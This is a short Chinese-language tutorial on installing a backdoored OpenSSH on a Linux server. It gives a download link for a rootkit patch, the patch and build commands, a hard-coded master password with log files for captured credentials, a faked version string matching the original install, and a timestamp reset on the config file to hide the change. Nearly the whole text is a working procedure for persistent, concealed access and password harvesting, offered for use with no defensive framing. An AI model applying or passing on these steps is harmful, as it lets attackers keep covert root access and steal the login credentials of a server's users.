Linux 安全之SSH後門

一.查看SSH版本

[root@redkey vmshare]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010

二.下載SSH 源碼包

源碼包：

http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

後門文件：

http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

三.備份原有ssh配置文件

[root@redkey ~]# cp -p /etc/ssh/sshd_config{,.bak}

四.編譯安裝

[root@redkey vmshare]# tar -xzvf openssh-5.9p1.tar.gz

[root@redkey vmshare]# tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

[root@redkey vmshare]# cd openssh-5.9p1.patch/

[root@redkey openssh-5.9p1.patch]# cp sshbd5.9p1.diff ../openssh-5.9p1

[root@redkey openssh-5.9p1.patch]# cd ../openssh-5.9p1

[root@redkey openssh-5.9p1]# patch < sshbd5.9p1.diff
patching file auth.c
patching file auth-pam.c
patching file auth-passwd.c
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c
patching file sshconnect2.c
patching file sshlogin.c
patching file version.hxiu

設置後門密碼"redkey"

[root@redkey openssh-5.9p1]# vim includes.h

175 int secret_ok;
176 FILE *f;
177 #define ILOG "/tmp/ilog"
178 #define OLOG "/tmp/olog"
179 #define SECRETPW "redkey"
180 #endif /* INCLUDES_H */

修改版本信息(SSH_VERSION)：

/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */
#define SSH_VERSION     "OpenSSH_5.3p1"
#define SSH_PORTABLE    "p1"
#define SSH_RELEASE     SSH_VERSION SSH_PORTABLE

編譯&安裝

[root@redkey openssh-5.9p1]# ./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5

[root@redkey openssh-5.9p1]# make

[root@redkey openssh-5.9p1]# make install

五.還原sshd_config文件時間戳

[root@redkey ssh]# touch -r sshd_config.bak ssh_config

六.重啓服務或重新載入配置

[root@redkey ssh]# service sshd reload

七.常見問題

  1.需要安裝的軟件包

openssl openssl-devel pam-devel

  2.編譯常見的問題

編譯過程中可能出現的報錯： 
  configure: error: *** zlib.h missing – please install first or check config.log
  #
  #yum install zlib-devel
  configure: error: *** Can't find recent OpenSSL libcrypto (see config.log for details) ***
  #
  #yum install openssl openssl-devel